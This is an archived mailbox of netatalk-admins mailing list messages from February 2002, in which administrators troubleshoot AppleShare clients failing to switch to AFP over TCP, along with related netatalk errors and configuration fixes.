Robert Thiemann
Network Engineer
VCU Adcenter
rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Thu Feb  7 14:47:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA12540
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 14:47:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA07518
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 14:47:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA07502
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 14:47:33 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA07460
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 14:47:31 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id VAA11449;
	Thu, 7 Feb 2002 21:13:54 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 07 Feb 2002 20:47:44 +0100
Subject: Re: Problems getting AFP to autoswitch protocols
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Robert Thiemann <rethiema@vcu.edu>, <netatalk-admins@umich.edu>
Message-ID: <B8889870.1B321%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05100305b8888067fdce@[128.172.20.37]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 7 Feb 2002 14:11:29 -0500, Robert Thiemann wrote:

> Is there something I'm missing to make this work?

What is the first entry in your /etc/hosts? If this is set to 127.0.0.1 and
localhost, then try to move the entry with the right interface's ip address
to the top, eg. '128.172.20.38  my.netatalk.server'

> On a side note, i'm fixing to add this line to my afpd.conf file:
> 
> "ADC_Admin" -ipaddr 128.172.20.38 -transall -uamlist
> uams_clrtxt.so,uams_dhx.so -nosavepassword

Hmm. I always thought, supplying a correct ip address in afpd.conf will fix
the issue. Are you sure that with this line enabled and afpd restartet
things still won't work? Did you trash the AppleShare prefs on the macs from
which you try to connect?

> So I can get the right name to show up in the chooser. That is
> essentially the default setup file, with me having just added
> ADC_Admin and the -ipaddr setting in the hopes that that will force
> it to switch.

Normally this should be the right way.

If one of your macs is running MacOS X, then you can use the 'setenv
AFP_DEBUG_LEVEL 8' method, Leland provided, for debugging purposes.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Feb  7 15:56:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA18317
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 15:56:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA16787
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 15:56:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA16755
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 15:56:32 -0500 (EST)
Received: from mail1.vcu.edu (mail1.vcu.edu [128.172.1.134])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA16711
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 15:56:30 -0500 (EST)
Received: from [128.172.20.37] ([128.172.20.37])
	by mail1.vcu.edu (8.12.0/8.11.1) with ESMTP id g17KuTra160702
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 15:56:29 -0500
Mime-Version: 1.0
X-Sender: rethiema@mail1.vcu.edu (Unverified)
Message-Id: <a05100308b8889a751cf6@[128.172.20.37]>
Date: Thu, 7 Feb 2002 15:56:26 -0500
To: netatalk-admins@umich.edu
From: Robert Thiemann <rethiema@vcu.edu>
Subject: Re: Problems getting AFP to autoswitch protocols
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>What is the first entry in your /etc/hosts? If this is set to 127.0.0.1 and
>localhost, then try to move the entry with the right interface's ip address
>to the top, eg. '128.172.20.38  my.netatalk.server'

Actually, all that was in it was 127.0.0.1. Since we're not running 
DNS, and I'm not comfortable making changes to that file yet, I'm 
leaving it for now.

>  > "ADC_Admin" -ipaddr 128.172.20.38 -transall -uamlist
>>  uams_clrtxt.so,uams_dhx.so -nosavepassword
>
>Hmm. I always thought, supplying a correct ip address in afpd.conf will fix
>the issue. Are you sure that with this line enabled and afpd restartet
>things still won't work? Did you trash the AppleShare prefs on the macs from
>which you try to connect?

Yeah, it did. I had fought with netatalk most of last week trying to 
get it configured  (if there's something that needs docs, this does), 
and hadn't tried the -ipaddr switch. I did it, and now it works.

Cool.


-- 
Robert Thiemann
Network Engineer
VCU Adcenter
rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Thu Feb  7 18:19:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA28616
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 18:19:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA28617
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 18:19:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA28593
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 18:19:08 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA28550
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 18:19:06 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g17NJ0i05778;
	Thu, 7 Feb 2002 15:19:01 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 07 Feb 2002 15:18:56 -0800
Subject: Re: Problems getting AFP to autoswitch protocols
From: Steve Freitas <sflist@ihonk.com>
To: Robert Thiemann <rethiema@vcu.edu>, <netatalk-admins@umich.edu>
Message-ID: <B8884B5F.B07D%sflist@ihonk.com>
In-Reply-To: <a05100308b8889a751cf6@[128.172.20.37]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Robert,

You need to set the line in /etc/hosts to match the AppleShare name of the
server. So if your netatalk.conf contains this...

ATALK_NAME=Jeeves

And your server is on IP 1.2.3.4, then you'd want this line at the top of
/etc/hosts...

1.2.3.4 Jeeves

That should solve it. It's not a DNS issue, exactly. What's happening is
that the AppleShare Client first contacts the fileserver by AppleTalk, and
asks it for its IP. Netatalk responds by looking in /etc/hosts to see what
IP it should report. If it finds nothing, it reverts to AppleTalk.

Steve

> From: Robert Thiemann <rethiema@vcu.edu>
> Date: Thu, 7 Feb 2002 15:56:26 -0500
> To: netatalk-admins@umich.edu
> Subject: Re: Problems getting AFP to autoswitch protocols
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 7 Feb 2002 15:58:30 -0500 (EST)
> 
>> What is the first entry in your /etc/hosts? If this is set to 127.0.0.1 and
>> localhost, then try to move the entry with the right interface's ip address
>> to the top, eg. '128.172.20.38  my.netatalk.server'
> 
> Actually, all that was in it was 127.0.0.1. Since we're not running
> DNS, and I'm not comfortable making changes to that file yet, I'm
> leaving it for now.
> 
>>> "ADC_Admin" -ipaddr 128.172.20.38 -transall -uamlist
>>> uams_clrtxt.so,uams_dhx.so -nosavepassword
>> 
>> Hmm. I always thought, supplying a correct ip address in afpd.conf will fix
>> the issue. Are you sure that with this line enabled and afpd restartet
>> things still won't work? Did you trash the AppleShare prefs on the macs from
>> which you try to connect?
> 
> Yeah, it did. I had fought with netatalk most of last week trying to
> get it configured  (if there's something that needs docs, this does),
> and hadn't tried the -ipaddr switch. I did it, and now it works.
> 
> Cool.
> 
> 
> -- 
> Robert Thiemann
> Network Engineer
> VCU Adcenter
> rethiema@vcu.edu
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Feb  8 04:23:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA02804
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 04:23:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA25002
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 04:23:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA24992
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 04:23:12 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA24962
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 04:23:11 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id KAA496361
          ; Fri, 8 Feb 2002 10:14:50 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C639727.3B9B3D43@unice.fr>
Date: Fri, 08 Feb 2002 10:15:19 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: Damien MATTEI <Damien.Mattei@unice.fr>,
        Jonathan Graham <grahamj@virtue.cx>,
        Paul Ruscito <pruscito@mediaone.net>, netatalk-admins@umich.edu
Subject: Re: Forget about the pre-releases (was: Re: Problem logging into 
 SuseNetatalk and OS 10.1.2)
References: <B8874D95.1B17F%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Kaiser wrote:
> 
> On Wed, 06 Feb 2002 20:09:06 +0100, Damien MATTEI wrote:
> 
> > Jonathan Graham wrote:
> >>
> >> Try setting a login message in netatalk  add the following to your line in
> >> afpd.conf
> >>
> >> -loginmesg "Welcome to my computer"
> > [...]
> > well it works, in sense i get in my directory but i am unable to copy
> > files:
> > error -43...
okay you convinced me i will try updqte my server with new version...
but waiting i have a strange error never occured before -50 at the end
of a file transfer.
someone knows the meaning of this error?
the file is an exotic genome data file type and i was wondering if there
was not only problem with the copying of the fork ressource or something
else , but it's only an assumtion...
> 
> <http://www.geocrawler.com/archives/3/5215/2001/7//6274412/>
> <http://www.geocrawler.com/archives/3/5215/2001/6/50/5996307/>
> <http://www.macintouch.com/mosxreaderreports80.html#jan18>
> 
> Damien,
> 
> you are still using an old beta (1.5pre2 is _very_ old). Instead of trying
> to find workarounds for several already fixed bugs, you should give the
> final version a try...
> 
> 1.5 has been released 5 weeks ago (kudos to the whole netatalk development
> community!) and RPMs for your RedHat distribution are available from here:
> 
> <http://kraftwerk.adsl.dk/netatalk/>
> <ftp://ftp.falsehope.net/home/tengel/netatalk/>
> 
> You can try <http://rpmfind.net/linux/rpm2html/search.php?query=netatalk>
> too (courtesy Jonathan Graham ;-)
> 
> SuSE users should visit <ftp://ftp.suse.com/pub/people/olh/netatalk/> and on
> <http://non-us.debian.org/debian-non-US/pool/non-US/main/n/netatalk/> you
> will find Debian packages
> 
> FreeBSD users will find up-to-date ports on any FreeBSD mirror or on:
> <ftp://ftp5.FreeBSD.org/pub/FreeBSD/branches/-current/ports/net/netatalk>
> (Don't know about Open- and NetBSD)
> 
> Maybe we can collect here on this list all our needs for which platforms or
> distributions netatalk should be distributed as RPMs, packages or ports?
> 
> Regards,
> 
> Thomas

-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Fri Feb  8 05:16:49 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA05505
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 05:16:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA20444
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 05:16:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA20434
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 05:16:49 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA20339
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 05:16:44 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA28056;
	Fri, 8 Feb 2002 11:43:02 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 08 Feb 2002 11:16:50 +0100
Subject: Re: Problems getting AFP to autoswitch protocols
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Steve Freitas <sflist@ihonk.com>, Robert Thiemann <rethiema@vcu.edu>,
        <netatalk-admins@umich.edu>
Message-ID: <B8896421.1B3E6%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B8884B5F.B07D%sflist@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA05505

On Thu, 07 Feb 2002 15:18:56 -0800, Steve Freitas wrote:

[FPGetSrvrInfo request]
> Netatalk responds by looking in /etc/hosts to see what IP it should report.

No, that's definitely not true.

On my SuSE installations the only entry in /etc/hosts is localhost and the
protocol switch works flawlessly. So it might be true for RedHat systems but
not for linux in general or all the other OSes, netatalk runs on? As Sak
explained here on this list a year ago, netatalk tries to get the
interface's address by a 'gethostbyname' call. This will result on some
systems in the localhost address. On other systems it will result in a
correct address. 

Sak's detailled explanation can be found here:
<http://www.umich.edu/~rsug/netatalk/archive/admins/2001/0016.html>

> If it finds nothing, it reverts to AppleTalk.

Not true either. It's the client's choice, which protocol to use, not the
server's. (<ftp://terminator.rsug.itd.umich.edu/unix/netatalk/archive/netata
lk-admins-mail/1880.html>)

As I said before (because there is also another side effect with generating
the server signature, which can confuse macs when there is more than one afp
server) it would the best to propagate the -ipaddr switch in afpd.conf as
the correct solution. Maybe we can add a small README about the protocol
switch issue and point to it from within the comments in afpd.conf, since
this confuses many users?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Feb  8 06:44:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA08638
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 06:44:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA04684
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 06:44:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA04673
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 06:44:16 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA04647
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 06:44:15 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id MAA40439
          ; Fri, 8 Feb 2002 12:44:04 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C63BA21.D187D721@unice.fr>
Date: Fri, 08 Feb 2002 12:44:33 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Steve Freitas <sflist@ihonk.com>
CC: Robert Thiemann <rethiema@vcu.edu>, netatalk-admins@umich.edu
Subject: Re: Problems getting AFP to autoswitch protocols
References: <B8884B5F.B07D%sflist@ihonk.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve Freitas wrote:
> 
> Robert,
> 
> You need to set the line in /etc/hosts to match the AppleShare name of the
> server. So if your netatalk.conf contains this...
> 
> ATALK_NAME=Jeeves
> 
> And your server is on IP 1.2.3.4, then you'd want this line at the top of
> /etc/hosts...
> 
> 1.2.3.4 Jeeves
> 
> That should solve it. It's not a DNS issue, exactly. What's happening is
> that the AppleShare Client first contacts the fileserver by AppleTalk, and
> asks it for its IP. Netatalk responds by looking in /etc/hosts to see what
> IP it should report. If it finds nothing, it reverts to AppleTalk.
> 
> Steve
> 
> > From: Robert Thiemann <rethiema@vcu.edu>
> > Date: Thu, 7 Feb 2002 15:56:26 -0500
> > To: netatalk-admins@umich.edu
> > Subject: Re: Problems getting AFP to autoswitch protocols
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Thu, 7 Feb 2002 15:58:30 -0500 (EST)
> >
> >> What is the first entry in your /etc/hosts? If this is set to 127.0.0.1 and
> >> localhost, then try to move the entry with the right interface's ip address
> >> to the top, eg. '128.172.20.38  my.netatalk.server'
> >
> > Actually, all that was in it was 127.0.0.1. Since we're not running
> > DNS, and I'm not comfortable making changes to that file yet, I'm
> > leaving it for now.
> >
> >>> "ADC_Admin" -ipaddr 128.172.20.38 -transall -uamlist
> >>> uams_clrtxt.so,uams_dhx.so -nosavepassword
> >>
> >> Hmm. I always thought, supplying a correct ip address in afpd.conf will fix
> >> the issue. Are you sure that with this line enabled and afpd restartet
> >> things still won't work? Did you trash the AppleShare prefs on the macs from
> >> which you try to connect?
> >
> > Yeah, it did. I had fought with netatalk most of last week trying to
> > get it configured  (if there's something that needs docs, this does),
> > and hadn't tried the -ipaddr switch. I did it, and now it works.
> >
> > Cool.
> >
> >
> > --
> > Robert Thiemann
> > Network Engineer
> > VCU Adcenter
> > rethiema@vcu.edu
> >
> >

i'am running netatalk 1.5pre2-6 on linure redhat 7.2 ,
and i confirm that there is _NO_ need to put the interface IP on the top
of /etc/hosts as i have first my loopback and after my ethernet IP.
i didn't set my IP in afpd.conf too and it works well.

-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Fri Feb  8 07:39:43 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA10867
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 07:39:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA22553
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 07:39:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA22540
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 07:39:43 -0500 (EST)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA22488
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 07:39:41 -0500 (EST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.6)
          with ESMTP id g18Cdcx26500;
          Fri, 8 Feb 2002 12:39:39 GMT
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100301b88976948107@[192.168.195.62]>
In-Reply-To: <B8896421.1B3E6%Thomas.Kaiser@phg-online.de>
References: <B8896421.1B3E6%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Fri, 8 Feb 2002 12:39:38 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re: Problems getting AFP to autoswitch protocols
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Thomas Kaiser's message of the 08/02/2002 at 11:16 +0100,


>interface's address by a 'gethostbyname' call. This will result on some
>systems in the localhost address. On other systems it will result in a
>correct address.

What actually happens depends on a lot of things like which flavour 
of Unix you're running and how you've configured it. On Linux, 
Solaris the name lookup is controlled by /etc/nsswitch.conf which 
specifies whether /etc/hosts, DNS, NIS, LDAP etc is used to resolve 
the name and in what order. The essential thing here is that netatalk 
does a "gethostbyname" and whatever it gets back is what is 
advertised to the world as being its "IP addr".

-- 
Sak Wathanasin
Network Analysis Limited           http://www.network-analysis.ltd.uk

Phone: (+44) 24 76 41 99 96     Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Fri Feb  8 07:48:15 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA11319
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 07:48:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA07554
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 07:48:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA07542
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 07:48:14 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA07505
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 07:48:13 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id NAA47116
          ; Fri, 8 Feb 2002 13:46:26 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C63C8BF.FB5BFBCE@unice.fr>
Date: Fri, 08 Feb 2002 13:46:55 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: "Davenport, Joe" <Joe.Davenport@disney.com>
CC: netatalk-admins@umich.edu
Subject: Re: Users unable to delete files
References: <3C62B74C.C076484C@disney.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Davenport, Joe" wrote:
> 
> I have a number of users unable to delete files that should be able to
> delete based on the Unix permissions, however the operation fails with
> the following error message.
> 
> "you cannot trash this because you do
>  not have access privileges"
> 
> Netatalk version is 1.5pre2-6  running on a 2.4.3-12 Linux Kernel
> 
> Any Ideas or help would be appreciated.
> 
> Thanks
> 
> Joe Davenport
is it a share folder, is the file really undeletable or only impossible
to put in in the trash folder? what are exactly the permissions of the
files and directories...

-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Fri Feb  8 08:57:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA14032
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 08:57:13 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA21883
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 08:57:13 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA21863
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 08:57:12 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA21795
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 08:57:11 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA29548
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 15:23:36 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 08 Feb 2002 14:57:26 +0100
Subject: Re: Problems getting AFP to autoswitch protocols
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B88997D5.1B48C%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100301b88976948107@[192.168.195.62]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 8 Feb 2002 12:39:38 +0000, Sak Wathanasin wrote:

> The essential thing here is that netatalk does a "gethostbyname" and whatever
> it gets back is what is advertised to the world as being its "IP addr".

Thanks for the addendum.

One small footprint: This will happen unless you specify the IP address with
the '-ipaddr' switch in afpd.conf. So I would strongly recommend using this
switch (in 1.42b+asun days called '-address') to avoid confusion.

Netatalk is the only AFPoverTCP capable AFP server, I know of, which has the
'ability' to lead to this sort of confusion. All the other flavours supply a
correct address by default unless one changes it by editing the
configuration. So, I believe it is important to add this to the docs.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Feb  8 12:08:22 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA24751
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Feb 2002 12:08:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA29735
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Feb 2002 12:08:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA29718
	for netatalk.administrators-members@umich.edu; Fri, 8 Feb 2002 12:08:21 -0500 (EST)
Received: from mail.disney.com (mail.disney.com [204.128.192.15])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA29680
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 12:08:20 -0500 (EST)
Received: from Hermes10.corp.disney.com (hermes10.corp.disney.com [153.7.110.102])
	by mail.disney.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g18H6MJ15585
	for <netatalk-admins@umich.edu>; Fri, 8 Feb 2002 09:06:22 -0800 (PST)
Received: from lucky.wds.disney.com by hermes.corp.disney.com with ESMTP; Fri, 8 Feb 2002 09:07:43 -0800
Received: from disney.com (tva-sgiadmin.wds.disney.com [153.7.162.33])
	by lucky.wds.disney.com (8.8.5/8.8.5) with ESMTP id JAA10166;
	Fri, 8 Feb 2002 09:09:10 -0800 (PST)
Sender: joe@studio.disney.com
Message-Id: <3C640601.5EE2F00@disney.com>
Date: Fri, 08 Feb 2002 09:08:17 -0800
